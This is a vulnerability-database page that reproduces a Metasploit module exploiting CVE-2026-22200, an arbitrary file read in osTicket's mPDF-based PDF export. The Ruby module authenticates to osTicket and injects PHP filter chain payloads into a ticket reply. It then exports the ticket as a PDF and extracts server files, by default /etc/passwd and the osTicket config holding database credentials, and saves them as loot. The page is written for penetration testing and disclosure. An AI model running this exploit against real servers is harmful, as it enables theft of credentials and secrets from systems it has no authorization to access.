Lucene search
+L

osTicket Arbitrary File Read via PHP Filter Chains in mPDF

🗓️ 07 Apr 2026 19:01:11Reported by HORIZON3.ai Team, Arkaprabha Chakraborty <@t1nt1nsn0wy>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 382 Views

osTicket PDF export uses PHP filter chains in mpdf to read files; requires authentication.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-22200
12 Jan 202618:34
attackerkb
Circl
CVE-2026-22200
12 Jan 202620:07
circl
CNNVD
Enhancesoft osTicket 注入漏洞
12 Jan 202600:00
cnnvd
CVE
CVE-2026-22200
12 Jan 202618:34
cve
Cvelist
CVE-2026-22200 osTicket (1.18.x < 1.18.3, 1.17.x < 1.17.7) PDF Export Arbitrary File Read
12 Jan 202618:34
cvelist
GithubExploit
Exploit for CVE-2024-2961
3 Mar 202611:37
githubexploit
EUVD
EUVD-2026-1918
12 Jan 202618:34
euvd
Nuclei
osTicket - Arbitrary File Read
16 Jul 202609:41
nuclei
NVD
CVE-2026-22200
12 Jan 202619:16
nvd
OSV
CVE-2026-22200 osTicket (1.18.x < 1.18.3, 1.17.x < 1.17.7) PDF Export Arbitrary File Read
12 Jan 202618:34
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Osticket

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'osTicket Arbitrary File Read via PHP Filter Chains in mPDF',
        'Description' => %q{
          This module exploits an arbitrary file read vulnerability in osTicket
          (CVE-2026-22200). The vulnerability exists in osTicket's PDF export
          functionality which uses mPDF. By injecting a specially crafted HTML payload
          containing PHP filter chain URIs into a ticket reply, an attacker can read
          arbitrary files from the server when the ticket is exported to PDF.

          The PHP filter chain constructs a BMP image header that is prepended to the
          target file contents. When mPDF renders the ticket as a PDF, it processes
          the php://filter URI, reads the target file, and embeds it as a bitmap image
          in the resulting PDF. The module then extracts the file contents from the PDF.

          Authentication is required. The module supports both staff panel (/scp/) and
          client portal login. An existing ticket number is also required.

          Default files extracted are /etc/passwd and include/ost-config.php. The
          osTicket config file contains database credentials and the SECRET_SALT value.
        },
        'Author' => [
          'HORIZON3.ai Team', # Vulnerability discovery and PoC
          'Arkaprabha Chakraborty <@t1nt1nsn0wy>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-22200'],
          ['URL', 'https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200'],
          ['URL', 'https://github.com/horizon3ai/CVE-2026-22200/tree/main']
        ],
        'DisclosureDate' => '2026-01-13',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path to osTicket installation', '/']),
        OptString.new('USERNAME', [true, 'osTicket username or email address']),
        OptString.new('PASSWORD', [true, 'osTicket password']),
        OptString.new('TICKET_NUMBER', [false, 'Ticket number to use for payload injection (e.g. 978554). If not set, a new ticket is created each run']),
        OptString.new('TICKET_ID', [false, 'Internal ticket ID (auto-detected if not set)']),
        OptEnum.new('LOGIN_PORTAL', [true, 'Login portal to use', 'auto', ['auto', 'scp', 'client']]),
        OptString.new('FILE', [
          true,
          'Path for file to read.',
          '/etc/passwd'
        ]),
        OptString.new('SCP_TICKET_EMAIL', [
          false,
          'Email for ticket owner when creating tickets via SCP portal login. ' \
          'Only used if authentication succeeds through the SCP (/scp/) portal.',
          '[email protected]'
        ]),
        OptString.new('SCP_TICKET_NAME', [
          false,
          'Full name for ticket owner when creating tickets via SCP portal login. ' \
          'Only used if authentication succeeds through the SCP (/scp/) portal.',
          'MSF User'
        ]),
        OptString.new('TICKET_SUBJECT', [false, 'Subject for new ticket if TICKET_NUMBER is not set', 'Support Request']),
        OptString.new('TICKET_MESSAGE', [false, 'Message body for new ticket if TICKET_NUMBER is not set', 'Please assist.']),
        OptBool.new('STORE_LOOT', [false, 'Store extracted files as loot', true]),
        OptInt.new('MAX_REDIRECTS', [false, 'Maximum number of HTTP redirect hops to follow', 3]),
        OptInt.new('MAX_TICKET_ID', [false, 'Upper bound for brute-force ticket ID search', 20])
      ]
    )
  end

  def check
    begin
      res = send_request_cgi!(
        { 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) },
        20,
        datastore['MAX_REDIRECTS']
      )
    rescue ::Rex::ConnectionError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Errno::ETIMEDOUT => e
      return Exploit::CheckCode::Unknown("Could not connect to target: #{e.message}")
    end

    return Exploit::CheckCode::Unknown('No response from target') unless res

    return Exploit::CheckCode::Safe('Target does not appear to be an osTicket installation') unless osticket?(res)

    Exploit::CheckCode::Detected('Target appears to be an osTicket installation')
  end

  def run
    base_uri = datastore['TARGETURI']
    file_raw = datastore['FILE'].to_s.strip

    fail_with(Failure::BadConfig, 'No file specified in FILE option') if file_raw.empty?

    if file_raw.include?(':')
      file_path, file_enc = file_raw.split(':', 2)
      file_enc = 'plain' unless %w[plain b64 b64zlib].include?(file_enc)
    else
      file_path = file_raw
      file_enc = 'plain'
    end

    print_status("Target: #{Rex::Socket.to_authority(rhost, rport)}")
    print_status("File to extract: #{file_path}")

    # Step 1: Login
    print_status('Attempting authentication...')
    portal, cookies = do_login(base_uri)
    if portal.nil?
      fail_with(Failure::NoAccess, "Login failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
    end
    prefix = portal == 'scp' ? '/scp' : ''
    print_good("Authenticated via #{portal} portal")

    # Step 2: Locate or create ticket
    ticket_number = datastore['TICKET_NUMBER'].to_s
    if ticket_number.empty?
      print_warning('No TICKET_NUMBER supplied — a new ticket will be created each time this module runs')
      ticket_id, ticket_number = if portal == 'scp'
                                   create_ticket_scp(base_uri, prefix, cookies, datastore['TICKET_SUBJECT'], datastore['TICKET_MESSAGE'])
                                 else
                                   create_ticket(base_uri, cookies, datastore['TICKET_SUBJECT'], datastore['TICKET_MESSAGE'])
                                 end
      fail_with(Failure::UnexpectedReply, 'Failed to create new ticket') if ticket_id.nil?
      print_good("Created ticket ##{ticket_number} (internal ID: #{ticket_id})")
    else
      print_status('Locating ticket...')
      ticket_id = resolve_ticket_id(base_uri, prefix, cookies)
      fail_with(Failure::NotFound, "Could not find internal ID for ticket ##{ticket_number}. Try setting TICKET_ID manually.") if ticket_id.nil?
      print_good("Ticket ##{ticket_number} has internal ID: #{ticket_id}")
    end

    # Step 3: Generate and submit payload
    print_status('Generating PHP filter chain payload...')
    file_spec = file_enc == 'plain' ? file_path : "#{file_path},#{file_enc}"
    payload_html = generate_ticket_payload([file_spec], is_reply: true)
    print_status("Payload generated (#{payload_html.length} bytes)")

    print_status('Submitting payload as ticket reply...')
    reply_ok = submit_ticket_reply(base_uri, prefix, ticket_id, payload_html, cookies)
    if reply_ok
      print_good('Reply posted successfully')
    else
      print_warning('Reply submission did not return expected confirmation. Continuing...')
    end

    # Step 4: Download PDF
    print_status('Downloading ticket PDF...')
    pdf_data = download_ticket_pdf(base_uri, prefix, ticket_id, cookies, datastore['MAX_REDIRECTS'] || 3)
    if pdf_data.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to download PDF export')
    end
    print_good("PDF downloaded (#{pdf_data.length} bytes)")

    # Step 5: Extract file from PDF
    print_status('Extracting file from PDF...')
    extracted = extract_files_from_pdf(pdf_data)
    if extracted.empty?
      print_error('No file could be extracted from the PDF')
      if datastore['STORE_LOOT']
        path = store_loot('osticket.pdf', 'application/pdf', rhost, pdf_data, 'ticket.pdf', 'Raw PDF export')
        print_status("Raw PDF saved as loot: #{path}")
      end
      return
    end
    content = extracted.last
    print_good("Extracted #{content.length} bytes")

    # Step 6: Display and store result
    safe_name = file_path.tr('/', '_').sub(/\A_+/, '')
    print_line
    print_line('=' * 70)
    print_line('EXTRACTED FILE CONTENTS')
    print_line('=' * 70)
    print_line
    print_line("--- [#{file_path}] (#{content.length} bytes) ---")

    begin
      text = content.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')
      text.sub!(/[\x00-\x08\x0e-\x1f].*\z/m, '') # Strip trailing BMP padding artifacts
      if text.length > 3000
        print_line(text[0, 3000])
        print_line("\n... (truncated)")
      else
        print_line(text)
      end
    rescue EncodingError
      print_line('[Binary data]')
    end

    if datastore['STORE_LOOT']
      path = store_loot(
        "osticket.#{safe_name}",
        'application/octet-stream',
        rhost,
        content,
        safe_name,
        "File read from osTicket server: #{file_path}"
      )
      print_good("Saved to: #{path}")
    end

    # Look for key secrets in ost-config.php
    report_secrets([content])

    print_line
    print_good('Exploitation complete')
  end

  private

  # Attempts login via the configured portal (auto tries SCP first, then client).
  # Returns [portal_type, cookies] or [nil, nil].
  def do_login(base_uri)
    portal_pref = datastore['LOGIN_PORTAL']
    print_status("do_login: portal preference=#{portal_pref}, base_uri=#{base_uri}, username=#{datastore['USERNAME']}")

    if portal_pref == 'auto' || portal_pref == 'scp'
      print_status('do_login: Trying staff panel (/scp/) login...')
      cookies = osticket_login_scp(base_uri, datastore['USERNAME'], datastore['PASSWORD'])
      if cookies
        print_good("do_login: SCP login succeeded, cookies=#{cookies}")
        return ['scp', cookies]
      end
      print_status('do_login: Staff panel login failed') if portal_pref == 'auto'
    end

    if portal_pref == 'auto' || portal_pref == 'client'
      print_status('do_login: Trying client portal login...')
      cookies = osticket_login_client(base_uri, datastore['USERNAME'], datastore['PASSWORD'])
      if cookies
        print_good("do_login: Client portal login succeeded, cookies=#{cookies}")
        return ['client', cookies]
      end
      print_status('do_login: Client portal login failed')
    end

    print_error('do_login: All login attempts failed')
    [nil, nil]
  end

  # Resolves the internal ticket ID from the user-provided ticket number or datastore override.
  def resolve_ticket_id(base_uri, prefix, cookies)
    if datastore['TICKET_ID'] && !datastore['TICKET_ID'].empty?
      print_status("resolve_ticket_id: Using manually set TICKET_ID=#{datastore['TICKET_ID']}")
      return datastore['TICKET_ID']
    end

    find_ticket_id(base_uri, prefix, datastore['TICKET_NUMBER'], cookies, datastore['MAX_TICKET_ID'] || 20)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.17.5
CVSS 48.7
EPSS0.73125
SSVC
382